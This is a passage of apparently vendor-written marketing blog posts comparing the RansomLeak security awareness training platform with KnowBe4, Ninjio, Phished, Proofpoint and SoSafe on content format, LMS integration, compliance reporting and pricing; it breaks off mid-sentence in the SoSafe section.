KnowBe4's free tools (phishing test, RanSim, etc.)? KnowBe4's free tools (Free Phishing Test, Domain Doppelganger, RanSim ransomware simulator, Breached Password Test) are marketing lead magnets that sit outside the paid training platform. RansomLeak's free tier is the training content itself: [100+ interactive exercises](/catalogue/), free to try without an account. The two models serve different evaluation needs. ### Can I run KnowBe4 and RansomLeak in parallel? Yes. Many security teams do, especially during an evaluation period. A 90-day parallel run typically uses KnowBe4 for phishing simulation and existing assigned content while RansomLeak covers interactive practice, AI threats, and real-world incident exercises. Completion data from both platforms can be aggregated in a central LMS via SCORM. ### Is KnowBe4's ModStore comparable to RansomLeak's catalogue? They are not like-for-like. ModStore is a library of thousands of videos, posters, newsletters, and modules, prioritizing breadth. RansomLeak's [catalogue](/catalogue/) is a smaller set of deeper interactive simulations, prioritizing engagement and practice per exercise. Organizations that need wide compliance coverage often prefer ModStore. Organizations that want employees to actively practice attack scenarios often prefer the RansomLeak catalogue. ### What data shows experiential training is more effective? The National Training Laboratories Learning Pyramid and David Kolb's experiential learning research place "practice by doing" retention at approximately 75%, compared to roughly 10% for reading and 20% for audio-visual content. The Verizon Data Breach Investigations Report continues to attribute roughly 68% of breaches to a human element, and SANS Security Awareness Reports consistently find that programs producing measurable behavior change rely on frequent, practice-based, job-relevant content. ## Bottom line and next steps KnowBe4 remains the largest and most mature platform in the category. For large enterprises that need the deepest phishing simulation tooling, the widest language support, and a vendor that clears procurement on sight, it is a defensible choice. RansomLeak is built for teams that believe employees learn by doing. Interactive 3D scenarios, deep AI-threat coverage, free catalogue access, and clean SCORM export into any LMS are the practical differences. The fastest way to decide is to run an exercise. Try a [phishing scenario](/exercises/phishing/), a [deepfake whaling simulation](/exercises/whaling-with-a-deepfake/), or the [GDPR data breach response exercise](/exercises/gdpr-data-breach-response/) inside the [training catalogue](/catalogue/). Compare it to whatever module employees last sat through. If active practice feels more memorable than passive watching, that answers the question. For a broader roundup of the category, see [KnowBe4 alternatives](/blog/knowbe4-alternatives/) and our 2026 roundup of [the best security awareness training platforms](/blog/best-security-awareness-training-2026/). If Hoxhunt is also on your shortlist, the [Hoxhunt alternatives comparison](/blog/hoxhunt-alternatives/) covers the other vendors buyers weigh against it. For the AI-security differentiator specifically, start at [the AI security catalogue](/catalogue/ai-security/). --- _Practice beats watching. Try a free [phishing exercise](/exercises/phishing/), [prompt injection scenario](/catalogue/ai-security/), or [ransomware response simulation](/exercises/ransomware/). Browse the full [training catalogue](/catalogue/) for 100+ interactive exercises. No sign-up, no sales pitch._ --- ### RansomLeak vs NINJIO Comparison Source: https://ransomleak.com/blog/ransomleak-vs-ninjio/ Most security awareness training is boring. Both Ninjio and RansomLeak acknowledge this. Where they disagree is the solution. Ninjio says the answer is better entertainment. Produce Hollywood-quality animated episodes that tell real cybersecurity stories in three to four minutes. Make training so watchable that employees actually look forward to it. Replace the forgettable compliance slides with something people want to see. RansomLeak says the answer is better practice. Build interactive 3D simulations where employees handle realistic attack scenarios. Make training something people do, not something they watch. Replace passive viewing with active decision-making. One platform invests in production value. The other invests in interaction design. Both reject the status quo, but they reject it in different directions. ## What is Ninjio? Ninjio is a security awareness training platform founded in 2015 in Los Angeles. The company produces animated micro-learning episodes, three to four minutes each, created by a team of Hollywood writers, animators, and producers. Each episode tells the story of a real cybersecurity incident, showing how the attack happened, where the victim went wrong, and how the audience can avoid the same mistake. Ninjio releases new episodes regularly, maintaining a fresh content cadence. The platform also includes phishing simulations, assessments, and a reporting tool. Ninjio positions itself as the entertainment-first approach to security awareness, competing on watchability rather than interactivity. ## What is RansomLeak? RansomLeak is a security awareness training platform built around interactive 3D simulations. Founded in 2025 by the creators of Kontra Application Security Training, the platform offers over 100 exercises across phishing, social engineering, ransomware, business email compromise, vishing, smishing, privacy compliance, and AI security. Training is delivered through immersive scenarios where employees make decisions in realistic attack situations. RansomLeak supports SCORM deployment into any LMS and a standalone cloud platform with analytics, SSO, and campaign management. ## Feature comparison | Category | RansomLeak | Ninjio | |---|---|---| | Content approach | Interactive 3D simulations | Hollywood-animated micro-learning episodes | | Content format | Hands-on exercises (15-25 min) | Animated videos (3-4 min) | | Employee role | Active participant (makes decisions) | Passive viewer (watches story) | | Content production | Software-driven scenarios | Hollywood writers and animators | | Content cadence | Monthly new exercises | Regular new episodes | | Phishing simulations | Exercise-based scenarios | Phishing simulation campaigns | | Topic coverage | 14 categories including AI security | General security awareness topics | | SCORM support | SCORM 1.2 and 2004 | SCORM support available | | LMS flexibility | Any LMS or standalone | LMS via SCORM or Ninjio platform | | Free content | 100+ exercises, no sign-up | Demo through sales | | Gamification | Points, badges, leaderboards | Completion tracking | | SSO/SAML | Okta, Azure AD, Google Workspace | SSO support | | Compliance reporting | SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, NIS2 | Basic compliance reporting | | Pricing | Enterprise custom | Per-user pricing | ## Where Ninjio is stronger **Production quality.** Ninjio's animated episodes are genuinely well-produced. Hollywood writing talent creates stories with narrative arcs, character development, and emotional hooks that make security concepts memorable through storytelling. For organizations whose employees actively resist traditional training, Ninjio's entertainment value reduces resistance to watching the content in the first place. **Episode brevity.** At three to four minutes per episode, Ninjio demands minimal time from employees. This micro-learning format fits into busy schedules and reduces the friction of training completion. Managers are more willing to assign four-minute episodes monthly than longer training modules. Completion rates benefit from the short format. **Storytelling approach.** Each Ninjio episode is based on a real cybersecurity incident, told as a narrative. Stories are fundamentally how humans learn and remember. The "what happened, what went wrong, and what you should do differently" structure is an effective teaching framework. Employees who remember the story of a CEO who fell for a [whaling attack](/blog/what-is-whaling-cybersecurity/) carry that awareness into their own inbox. **Content freshness.** Ninjio's regular episode releases keep the training library current. New episodes address recent attack trends and headline-grabbing breaches. This topicality keeps the content feeling relevant rather than dated. ## Where RansomLeak is stronger **Active vs passive learning.** This is the core difference. Ninjio employees watch a story about someone else handling (or failing to handle) a security threat. RansomLeak employees step into the scenario themselves, make decisions, and experience the consequences. The learning science is clear on this distinction: practicing a skill produces better retention and behavior change than observing someone else practice it. [Training effectiveness research](/blog/security-awareness-training-effectiveness/) consistently shows that active participation outperforms passive consumption by significant margins. **Skill building vs awareness building.** Ninjio builds awareness: employees understand that phishing exists, that social engineering is dangerous, that they should be careful. RansomLeak builds skills: employees practice identifying a [spear phishing email](/exercises/spear-phishing/), responding to a [callback phishing call](/exercises/callback-phishing/), handling a [ransomware incident](/exercises/ransomware/), and detecting a [QR code phishing attack](/exercises/qr-code-phishing/). Awareness tells you the stove is hot. Skill building teaches you to cook without getting burned. **Topic depth.** Ninjio covers general security awareness topics through short episodes. RansomLeak goes deep across 14 categories: [phishing variants](/catalogue/security-awareness/) (spear phishing, whaling, quishing, vishing, smishing, callback phishing), [device security](/exercises/ransomware/), [password management](/exercises/password-manager-habits/), [GDPR compliance](/catalogue/privacy-compliance/), [AI security](/catalogue/ai-security/), [OWASP LLM risks](/blog/owasp-llm-top-10/), and [real-world incident case studies](/catalogue/real-world-incidents/). A four-minute animated episode cannot cover a GDPR data breach response workflow with the same depth as a 20-minute interactive simulation. **Hands-on exercise library.** RansomLeak offers [100+ free exercises](/catalogue/) covering scenarios that range from basic [phishing detection](/exercises/phishing/) to complex [AI security threats](/catalogue/ai-security/). Ninjio's content is exclusively video-based. For organizations that want employees to practice, not just understand, the exercise format is the difference. **Compliance framework reporting.** RansomLeak provides audit-ready reporting for SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2. Organizations in regulated industries need this documentation. Ninjio's compliance reporting covers basic completion tracking but is thinner on multi-framework audit support. **Free evaluation.** RansomLeak's full exercise library is [free to try](/catalogue/) without an account. You can assess the quality, depth, and engagement level of the training before committing. Ninjio requires a sales process to evaluate their content. ## Who should choose Ninjio? Ninjio is the right platform if: - Your biggest problem is employees not completing training at all, and you need content they will actually watch - Short-format micro-learning (3-4 minutes) fits your culture better than longer exercises - Entertainment value and storytelling are more important than hands-on practice - You want to build general security awareness rather than specific incident-response skills - Budget allows for Hollywood-quality content production but not necessarily interactive platforms - You value fresh, topical content released on a regular schedule The typical Ninjio buyer is an organization struggling with training completion rates that wants to make security awareness feel less like work and more like entertainment. ## Who should choose RansomLeak? RansomLeak is the right platform if: - You want employees to build practical skills, not just absorb information - Interactive training where people make decisions matters more than production-value videos - Your program needs depth across phishing, ransomware, social engineering, AI security, and compliance - SCORM integration with your existing LMS is a requirement - Multi-framework compliance reporting (SOC 2, ISO 27001, HIPAA, GDPR, NIS2) is needed - You want to evaluate 100+ exercises for free before purchasing The typical RansomLeak buyer is an organization that believes security training should build muscle memory for real incidents, and that watching a story about a phishing attack is not the same as practicing how to handle one. ## How does pricing compare? Ninjio uses per-user pricing with annual contracts. The Hollywood production model means their content investment is high, and pricing reflects that. Exact pricing requires a vendor quote. RansomLeak uses custom enterprise pricing with all exercises available for free evaluation. Enterprise features (analytics, SSO, campaign management, SCORM export, compliance reporting) are part of the paid offering. Both platforms position above commodity SAT providers, but for different reasons. Ninjio charges for production quality. RansomLeak charges for interaction quality and enterprise features. The relevant comparison is not price per seat but what kind of learning each dollar produces. ## How to decide The decision between Ninjio and RansomLeak comes down to what you believe about how adults learn security behaviors. If you believe that storytelling creates lasting awareness, that entertainment value drives completion, and that a well-told four-minute story changes behavior more than a forgettable training module, Ninjio's approach has logic behind it. If you believe that practice builds skills, that making decisions in simulated attacks produces better outcomes than watching someone else handle them, and that 20 minutes of active participation outweighs four minutes of passive viewing, RansomLeak is built on that premise. The best test is direct comparison. Ninjio offers demos through their sales team. RansomLeak lets you try [100+ exercises for free](/catalogue/) right now. Run a [social engineering exercise](/exercises/social-engineering/), a [vishing scenario](/exercises/vishing/), or a [deepfake whaling simulation](/exercises/whaling-with-a-deepfake/), then ask yourself whether watching a video about those scenarios would have taught you the same thing. For a broader view of how these platforms compare across the wider category, see our 2026 roundup of [the best security awareness training platforms](/blog/best-security-awareness-training-2026/). --- *Practice beats watching. Try a free [social engineering exercise](/exercises/social-engineering/), [phishing scenario](/exercises/phishing/), or [ransomware response simulation](/exercises/ransomware/). Browse the full [training catalogue](/catalogue/) for 100+ exercises across security awareness, privacy, AI security, and real-world incidents. No sign-up, no sales pitch.* --- ### RansomLeak vs Phished Comparison Source: https://ransomleak.com/blog/ransomleak-vs-phished/ Phished and RansomLeak share a European DNA and a belief that traditional video-based training does not change behavior. Both platforms try to fix the engagement problem. But they approach it from opposite directions. Phished automates everything. AI generates personalized phishing simulations, adjusts difficulty automatically, and triggers training content when employees need it. The philosophy is that automation produces consistency and scale. Set it up, and the system runs your awareness program with minimal manual intervention. RansomLeak makes everything interactive. 3D simulations put employees inside attack scenarios where they make decisions and learn from consequences. The philosophy is that hands-on practice builds skills that passive content cannot. The training itself does the heavy lifting, not the automation around it. Both approaches have merit. The right choice depends on whether your program needs automation breadth or training depth. ## What is Phished? Phished is a Belgian security awareness and phishing simulation platform founded in 2018 in Leuven. The platform uses AI to automatically generate and personalize phishing simulations for each employee. Phished's engine creates simulations based on current threat intelligence, adjusts difficulty to individual performance, and triggers automated training interventions (micro-learnings called "Phished Academy") when employees fail simulations. The platform includes behavioral scoring, an employee reporting button for suspicious emails, and compliance reporting with a strong GDPR focus reflecting its European origin. Phished serves mid-market and enterprise organizations, particularly in Europe. ## What is RansomLeak? RansomLeak is a security awareness training platform built around interactive 3D simulations. Founded in 2025 by the creators of Kontra Application Security Training, the platform offers over 100 exercises covering phishing, social engineering, ransomware, business email compromise, vishing, smishing, privacy compliance (GDPR, CCPA, HIPAA), and AI security. Training is delivered through immersive scenarios where employees handle realistic attack situations. RansomLeak supports SCORM deployment into any LMS and offers a standalone cloud platform with analytics, SSO, and enterprise features. ## Feature comparison | Category | RansomLeak | Phished | |---|---|---| | Content approach | Interactive 3D simulations | AI-generated phishing + micro-learning | | Primary focus | Full security awareness training | Phishing simulation automation | | AI role | Not AI-driven | AI generates and personalizes simulations | | Automation level | Campaign-based management | Fully automated (set-and-forget) | | Behavioral scoring | Completion and engagement metrics | Individual behavioral risk scores | | Training trigger | Scheduled campaigns or self-paced | Triggered automatically on simulation failure | | Topic coverage | 14 categories (phishing to AI security) | Phishing-focused with supplementary training | | SCORM support | SCORM 1.2 and 2004 | No SCORM export | | LMS flexibility | Any LMS or standalone | Phished platform only | | Free content | 100+ exercises, no sign-up | Demo through sales | | Reporting button | Not included | Browser extension for reporting | | GDPR compliance | Yes (Estonian entity, EU data) | Yes (Belgian entity, EU data) | | Compliance frameworks | SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, NIS2 | GDPR, ISO 27001 | | Languages | Growing multilingual | 15+ languages | | Pricing | Enterprise custom | Per-user pricing | ## Where Phished is stronger **Automation.** Phished's core selling point is that it runs your phishing simulation program without manual effort. The AI generates simulations, personalizes them to each employee, adjusts difficulty over time, and triggers training when needed. For security teams that do not have bandwidth to manually configure and manage simulation campaigns, this automation is genuinely valuable. RansomLeak requires more active campaign management. **AI-personalized simulations.** Phished's engine creates phishing simulations tailored to each employee's role, department, and past performance. The content is generated using current threat intelligence, which means employees see simulation attacks that reflect real-world phishing trends. This personalization is more granular than template-based approaches. **Reporting button.** Phished provides a browser extension and email button that employees use to report suspicious emails directly from their inbox. This builds the reporting habit into the daily workflow. Reports feed back into the behavioral scoring system, creating a feedback loop that rewards vigilance. **European GDPR focus.** As a Belgian company, Phished built its platform with GDPR compliance at the core. Data processing, storage, and privacy controls are designed for European regulatory requirements from the ground up. For EU-based organizations with strict data residency requirements, Phished's European infrastructure is a natural fit. **Behavioral risk scoring.** Phished tracks individual employee risk scores based on simulation interactions, reporting behavior, and training completion. This per-person risk profile helps security teams identify who is most vulnerable and whether the program is reducing organizational risk over time. ## Where RansomLeak is stronger **Training depth.** Phished's training content consists of short micro-learning modules ("Phished Academy") that are triggered when employees fail phishing simulations. These are useful for immediate remediation but limited in scope and depth. RansomLeak's interactive 3D simulations are full training experiences where employees practice complex scenarios: responding to a [ransomware attack](/exercises/ransomware/), handling a [callback phishing call](/exercises/callback-phishing/), detecting a [deepfake video](/blog/deepfake-social-engineering/), or navigating a [GDPR data breach response](/exercises/gdpr-data-breach-response/). The training itself is the product, not a remediation afterthought. **Topic breadth.** Phished focuses on phishing detection and reporting. RansomLeak covers 14 categories: phishing, [social engineering](/exercises/social-engineering/), ransomware, [business email compromise](/exercises/business-email-compromise/), [vishing](/exercises/vishing/), [smishing](/exercises/smishing/), [USB attacks](/exercises/usb-drop-attack/), [insider threats](/exercises/insider-threat-intentional/), [GDPR compliance](/catalogue/privacy-compliance/), [AI security](/catalogue/ai-security/), and [real-world incident analysis](/catalogue/real-world-incidents/). If your security awareness program extends beyond email phishing, RansomLeak covers the ground. **SCORM and LMS integration.** RansomLeak exports as [SCORM 1.2 and 2004 packages](/blog/scorm-security-training/) that run in any standards-compliant LMS. Phished has no SCORM export. For organizations that centralize training in a corporate LMS, this is a deciding factor. **Free evaluation.** RansomLeak's [entire exercise library](/catalogue/) is free to try without an account. Over 100 exercises available immediately. Phished requires a sales conversation to access the platform. Evaluating content quality before committing changes the risk profile of the purchasing decision. **Compliance framework breadth.** RansomLeak provides audit-ready reporting for SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, and NIS2. Organizations subject to multiple regulatory frameworks, common in healthcare and financial services, need this breadth. Phished's compliance reporting focuses primarily on GDPR and ISO 27001. **Learning method.** Phished's micro-learnings are short, text-and-video-based modules. RansomLeak's exercises are interactive 3D simulations where employees make decisions inside realistic scenarios. The difference in engagement and retention follows the same pattern documented in [training effectiveness research](/blog/security-awareness-training-effectiveness/): active practice produces better behavior change than passive consumption. ## Who should choose Phished? Phished is the right platform if: - Phishing simulation automation is your top priority and you want a set-and-forget program - AI-personalized simulation difficulty appeals to your program design - Building a phishing reporting culture with a one-click reporting button matters - You are an EU-based organization with strict GDPR data residency requirements - Your security team lacks bandwidth to manage manual simulation campaigns - You want per-employee behavioral risk scores for phishing specifically The typical Phished buyer is a European mid-market organization that wants automated phishing simulations running continuously without heavy security team involvement. ## Who should choose RansomLeak? RansomLeak is the right platform if: - You want training that covers more than phishing (social engineering, ransomware, AI threats, compliance) - Interactive simulations where employees practice handling attacks are more valuable than automated simulations they receive - SCORM integration with your LMS is a requirement - You need compliance reporting across multiple frameworks (SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, NIS2) - You want to try the full library before purchasing (100+ free exercises) - Training quality and depth matter more than automation of delivery The typical RansomLeak buyer is an organization that sees security training as a skill-building investment, not a background automation, and wants exercises employees actively engage with. ## How does pricing compare? Phished uses per-user pricing that scales with organization size. Exact pricing requires a vendor quote. As a European mid-market platform, Phished's pricing is generally competitive within the SAT market. RansomLeak uses custom enterprise pricing with all exercises free to evaluate before purchasing. The pricing conversation happens after content evaluation, not before. The cost comparison depends on scope. If you need phishing simulation automation and nothing else, compare Phished to other phishing-focused tools. If you need phishing plus ransomware plus social engineering plus compliance plus AI security, comparing Phished's phishing-only platform to RansomLeak's full-spectrum offering is not an equivalent comparison. ## How to decide The choice maps to a simple question: do you primarily need automated phishing simulations, or do you need comprehensive security training? If phishing simulation is the core of your program and you value automation, AI personalization, and a reporting button, Phished is purpose-built for that workflow. If your program needs to cover the full range of threats employees face, from [email phishing](/blog/phishing-detection/) to [QR code attacks](/blog/quishing/) to [credential stuffing](/blog/credential-stuffing-awareness/) to [AI security risks](/blog/owasp-llm-top-10/), and you want employees to build skills through hands-on practice, RansomLeak delivers that experience. Try both. Phished offers demos through their sales team. RansomLeak's [full exercise catalogue](/catalogue/) is free to explore right now. If you are looking at other phishing-simulation-first vendors alongside Phished, our [Hoxhunt alternatives comparison](/blog/hoxhunt-alternatives/) covers eight platforms in the same category. For the broader category view, see our 2026 roundup of [the best security awareness training platforms](/blog/best-security-awareness-training-2026/). --- *See what hands-on training feels like. Try a free [phishing exercise](/exercises/phishing/), [GDPR data breach response](/exercises/gdpr-data-breach-response/), or [social engineering simulation](/exercises/social-engineering/). Browse the full [training catalogue](/catalogue/) for 100+ exercises. No account required.* --- ### RansomLeak vs Proofpoint Comparison Source: https://ransomleak.com/blog/ransomleak-vs-proofpoint/ Proofpoint Security Awareness Training (formerly Wombat Security) is part of a broader email security ecosystem. If your organization already uses Proofpoint for email protection, their awareness training plugs directly into the same threat intelligence data that powers your email gateway. That integration is the main reason organizations choose it. RansomLeak has no email security product. It is a standalone training platform that works with any email vendor, any LMS, and any security stack. The training itself is built around interactive 3D simulations rather than Proofpoint's video and module-based approach. The comparison comes down to a straightforward question: do you want training that is tightly integrated with one vendor's email security suite, or training that is platform-agnostic and built around hands-on engagement? ## What is Proofpoint Security Awareness Training? Proofpoint Security Awareness Training is one component of Proofpoint's broader cybersecurity platform, which includes email security, threat intelligence, data loss prevention, and email archiving. The awareness training product, acquired when Proofpoint bought Wombat Security in 2018, provides video-based training modules, simulated phishing campaigns, and assessments. Its differentiator is integration with Proofpoint's Targeted Attack Protection (TAP), which allows organizations to target training based on real threat data: employees who receive the most actual phishing attacks get prioritized for training. Proofpoint serves large enterprise customers, particularly in financial services, healthcare, and government. ## What is RansomLeak? RansomLeak is a security awareness training platform built around interactive 3D simulations. Founded in 2025 by the creators of Kontra Application Security Training, the platform offers over 100 exercises covering phishing, social engineering, ransomware, business email compromise, vishing, smishing, privacy compliance, and AI security. Training is delivered through scenarios where employees practice handling realistic attacks. RansomLeak supports SCORM deployment into any LMS and offers a standalone cloud platform with analytics, SSO, and campaign management. ## Feature comparison | Category | RansomLeak | Proofpoint SAT | |---|---|---| | Content approach | Interactive 3D simulations | Video modules + assessments | | Threat intelligence integration | No (vendor-agnostic) | Yes (Proofpoint TAP integration) | | Phishing simulations | Exercise-based scenarios | Campaign platform with TAP data | | Topic coverage | 14 categories including AI security, privacy | Phishing, compliance, general security | | SCORM support | SCORM 1.2 and 2004 | Limited SCORM capabilities | | LMS flexibility | Any LMS or standalone | Primarily Proofpoint platform | | Free content | 100+ exercises, no sign-up | No free content | | Email security bundling | None (standalone training) | Part of Proofpoint security suite | | Reporting | Real-time analytics, multi-framework compliance | Threat-intelligence-powered dashboards | | SSO/SAML | Okta, Azure AD, Google Workspace | Enterprise IdP support | | Compliance frameworks | SOC 2, ISO 27001, HIPAA, PCI DSS, GDPR, NIS2 | SOC 2, HIPAA, GDPR | | Pricing | Enterprise custom | Bundle pricing with Proofpoint suite | ## Where Proofpoint is stronger **Threat intelligence integration.** This is Proofpoint's genuine competitive advantage. The awareness training product connects to Proofpoint's Targeted Attack Protection engine, which means you can target simulated phishing and training based on real threat data. Employees who receive the most real phishing attempts in their inbox get prioritized for simulation campaigns. This data-driven targeting is difficult to replicate with a standalone training vendor. **Email security ecosystem.** If your organization uses Proofpoint for email gateway, DLP, archiving, and threat intelligence, adding their awareness training creates a unified security workflow. One vendor, one dashboard, one support contract. The administrative simplicity of a single-vendor stack has real value for security teams managing multiple tools. **Enterprise credibility.** Proofpoint is a large, publicly-known cybersecurity company. For organizations in regulated industries where vendor risk assessments are extensive, Proofpoint's brand recognition and established compliance posture reduce procurement friction. **Very Attack Person (VAP) targeting.** Proofpoint identifies "Very Attacked People" within your organization based on their email threat data. Training campaigns can automatically prioritize these high-risk individuals. This is a data advantage that only an email security vendor can provide. ## Where RansomLeak is stronger **Learning method.** Proofpoint's training content is primarily video-based modules with quizzes and assessments. RansomLeak's content is built around [interactive 3D simulations](/blog/security-awareness-training-guide/) where employees practice handling attack scenarios. The difference matters for retention: practicing a [social engineering response](/exercises/social-engineering/) builds different neural pathways than watching a video about social engineering. Hands-on training produces [higher retention and engagement rates](/blog/security-awareness-training-effectiveness/) than passive content consumption. **Vendor independence.** RansomLeak works with any email security vendor, any LMS, and any security stack. Proofpoint's awareness training is most valuable when bundled with their email security product. If you switch email vendors, the training-to-threat-intelligence integration breaks. RansomLeak's SCORM compatibility and standalone deployment model means you are never locked into a broader vendor ecosystem. **SCORM flexibility.** RansomLeak exports training as [SCORM 1.2 and 2004 packages](/blog/scorm-security-training/) for any standards-compliant LMS. Proofpoint's training runs primarily through their own platform. Organizations that centralize all training in a single LMS find this a significant limitation. **Topic coverage.** RansomLeak covers [AI security](/catalogue/ai-security/), [OWASP LLM risks](/blog/owasp-llm-top-10/), [deepfake social engineering](/blog/deepfake-social-engineering/), [callback phishing](/blog/callback-phishing/), [QR code phishing](/blog/quishing/), and [real-world incident case studies](/catalogue/real-world-incidents/). Proofpoint's training library is solid on core topics but thinner on emerging threats. If your program needs to address the full range of modern threats, RansomLeak covers more territory. **Free evaluation.** RansomLeak's [entire exercise catalogue](/catalogue/) is free to try with no account required. Proofpoint requires a sales engagement and contract discussion before you can access their training content. The ability to evaluate content quality before buying changes the procurement dynamic. **Cost structure.** Proofpoint's awareness training is typically sold as part of a broader email security bundle. This means you often pay for the full Proofpoint platform to get the training component. If you already have an email security vendor you are happy with, paying for Proofpoint's entire stack to access their training module is not cost-effective. RansomLeak is a standalone training purchase. ## Who should choose Proofpoint? Proofpoint Security Awareness Training is the right choice if: - You already use Proofpoint for email security and want training integrated with your threat data - Identifying and targeting "Very Attacked People" with training is a priority - You want a single-vendor approach to email security and awareness training - Enterprise procurement processes favor large, established vendors - You operate in a heavily regulated industry where Proofpoint already passes your vendor requirements The typical Proofpoint SAT buyer is a large enterprise already invested in the Proofpoint email security ecosystem, looking to add training that plugs into existing threat intelligence data. ## Who should choose RansomLeak? RansomLeak is the right choice if: - You want training content employees engage with, not click through - Vendor independence matters (you do not want training tied to your email vendor) - You need SCORM-compatible content for your existing LMS - Your training program needs to cover AI security, deepfakes, and emerging threats - You want to evaluate content before purchasing (100+ free exercises) - You use a different email security vendor and do not plan to switch to Proofpoint The typical RansomLeak buyer is an organization that wants best-of-breed training quality regardless of their email security vendor, and values interactive engagement over video-based modules. ## How does pricing compare? Proofpoint's awareness training pricing is typically bundled with their broader email security products. Standalone awareness training pricing exists but is less commonly deployed outside the Proofpoint ecosystem. Enterprise contracts vary significantly based on the bundle. RansomLeak offers custom enterprise pricing for platform features (analytics, SSO, campaign management, compliance reporting), with all exercises free to try beforehand. The pricing conversation starts after you have already evaluated the content. The meaningful cost comparison is not price-per-seat. It is whether you are buying training as an add-on to an email security platform, or buying training as a standalone product optimized for engagement. If you are already paying for Proofpoint email security, adding their training is incremental cost. If you are not a Proofpoint email customer, their training alone may not justify the platform investment. ## How to decide The decision between Proofpoint and RansomLeak depends on your existing vendor relationships and what you expect training to accomplish. If you are a Proofpoint email security customer and want training that uses your real threat data to target the right employees, Proofpoint's integration is a genuine advantage no standalone training vendor can match. If you want the best training content regardless of email vendor, need SCORM compatibility, or want employees to actively practice handling threats instead of watching videos about them, RansomLeak is built for that. Try both. Proofpoint offers demos through their enterprise sales team. RansomLeak lets you try [100+ exercises for free](/catalogue/) right now, no sales conversation required. Start with a [phishing exercise](/exercises/phishing/), an [email security scenario](/exercises/phishing/), or a [callback phishing simulation](/exercises/callback-phishing/). If you are weighing Proofpoint against European-focused platforms like SoSafe, see our [RansomLeak vs SoSafe comparison](/blog/ransomleak-vs-sosafe/). For the broader view of the category, our 2026 roundup of [the best security awareness training platforms](/blog/best-security-awareness-training-2026/) covers the vendors enterprise buyers shortlist most often. --- *Compare the training, not the sales pitch. Try our free [phishing exercise](/exercises/phishing/), [BEC scenario](/exercises/business-email-compromise/), or [callback phishing simulation](/exercises/callback-phishing/). Browse the full [training catalogue](/catalogue/) for 100+ exercises across security awareness, privacy, AI security, and real-world incidents. No account needed.* --- ### RansomLeak vs SoSafe Comparison Source: https://ransomleak.com/blog/ransomleak-vs-sosafe/ RansomLeak and SoSafe both sell human risk management, but they reach employees through very different models. SoSafe ships behavioral microlearning modules and phishing simulations from EU-hosted infrastructure, with deep NIS2 and TISAX alignment. RansomLeak ships interactive 3D simulations where employees practice handling attacks, with deeper AI threat coverage and SCORM export into any LMS. This comparison covers content, pricing, EU regulatory fit, data residency, and who each platform fits. _Updated April 2026._ ## Quick comparison (TL;DR) Picking between RansomLeak and SoSafe usually comes down to two questions. Do you need EU-hosted infrastructure with TISAX-certified processing, or do you need hands-on simulations with deep AI-era threat coverage. The table below summarizes the main differences. | Dimension | RansomLeak | SoSafe | |---|---|---| | Content format | Interactive 3D scenarios, decision-based | Behavioral microlearning modules, short interactive | | AI-era threat coverage | OWASP LLM Top 10, prompt injection, deepfake whaling, agentic | Some AI phishing content, less dedicated AI training | | Phishing simulation | Scenario-based exercises plus SCORM | Standard simulation engine with templates | | EU regulatory fit | GDPR, NIS2, ISO 27001 evidence | EU-native, NIS2, DORA, TISAX, ISO 27001 | | Data residency | Configurable hosting regions | EU-hosted infrastructure prominently marketed | | SCORM / LMS fit | SCORM 1.2 and 2004 export, 50+ tested LMSes | SCORM supported, SoSafe platform primary | | Free tier | 100+ exercises, no sign-up | Demo through sales | | Pricing | Custom enterprise, free library | Custom enterprise, annual contracts | | Best fit | Mid-market and enterprise wanting active practice and AI coverage | EU and DACH mid-market and enterprise with NIS2 or TISAX exposure | ## Who SoSafe is for SoSafe is a German security awareness platform founded in 2018 that describes itself as Europe's largest security awareness training and human risk management provider. The public homepage emphasizes behavioral microlearning, phishing simulations, a "Sofie" assistant, and EU-hosted infrastructure with prominent ISO 27001, TISAX, and GDPR signals. SoSafe is strong across DACH (Germany, Austria, Switzerland), the UK, and the Nordics. The typical SoSafe buyer is a mid-market or enterprise organization in Europe with data residency, NIS2, DORA, or TISAX exposure. Content is produced in German and across EU languages natively, which is a real advantage for multi-country EU rollouts. Public research outputs such as the Human Risk Review lean on EU-specific statistics and regulatory commentary. SoSafe's core strengths are regulatory alignment, EU hosting, and the quality of its German-language content. The platform's behavioral microlearning model, short modules that nudge behavior over time, maps well onto continental European employee expectations. For organizations that prioritize GDPR-compliant processing over every other criterion, SoSafe is a natural default. ## Who RansomLeak is for RansomLeak is a security awareness training and human risk management platform built around [interactive 3D simulations](/catalogue/). Founded in 2025 by the creators of Kontra Application Security Training, it ships over 100 exercises covering phishing, ransomware, social engineering, privacy compliance, and AI-era threats. Employees practice scenarios rather than watch modules about them. The core buyer is a mid-market or enterprise security team that wants employees to actively build skill, not just absorb information. Teams prioritizing AI-era threats (prompt injection, deepfake voice, agentic misuse) also look to RansomLeak because those topics have dedicated [catalogue coverage](/catalogue/ai-security/). US presence is larger than SoSafe's, and the platform is used across Europe, the UK, and Ukraine. RansomLeak supports [SCORM 1.2 and SCORM 2004 export](/blog/scorm-security-training/) into any standards-compliant LMS, plus a standalone cloud platform with analytics, SSO, and campaign management. The entire exercise catalogue is free to evaluate without a sales call or account. ## Content format: microlearning episodes vs interactive simulations This is the clearest fork. SoSafe's training is built around behavioral microlearning. Employees receive short interactive modules that nudge behavior over time, backed by phishing simulation campaigns and role-based tracks. The modules are quick and designed to fit between meetings. Completion rates benefit from the short format. RansomLeak trains through interactive 3D scenarios. Employees step into a simulated inbox, meeting, or incident, read the context, make decisions, and see consequences. There is no narrator explaining the lesson afterwards. The scenario itself is the lesson, and runtime is typically 15 to 25 minutes depending on depth. The learning-science case for active practice is well established. The National Training Laboratories Learning Pyramid, together with David Kolb's experiential learning cycle research, places retention for "practice by doing" at roughly 75%, compared to roughly 10% for reading and around 20% for audio-visual content. The pyramid has methodological critics, but the broader consensus that practice outperforms passive consumption holds across adult-learning studies. See our summary of [security awareness training effectiveness research](/blog/security-awareness-training-effectiveness/) for the underlying sources. Both formats can work. The practical test is whether your employees remember the lesson a month later, and whether that recall shows up in phishing click rates and incident reports. ## AI-era threat coverage AI-generated phishing, voice cloning, deepfake video, and agent-based attacks have moved from theoretical to operational in the past eighteen months. The 2024 Verizon Data Breach Investigations Report attributes 68% of breaches to a human element, and AI has made the social-engineering half of that statistic materially harder to detect. SoSafe has added AI-related content to its modules and references AI threats in its Human Risk Review research. Specific, deep training on attack types such as prompt injection, deepfake voice whaling, or agentic misuse is 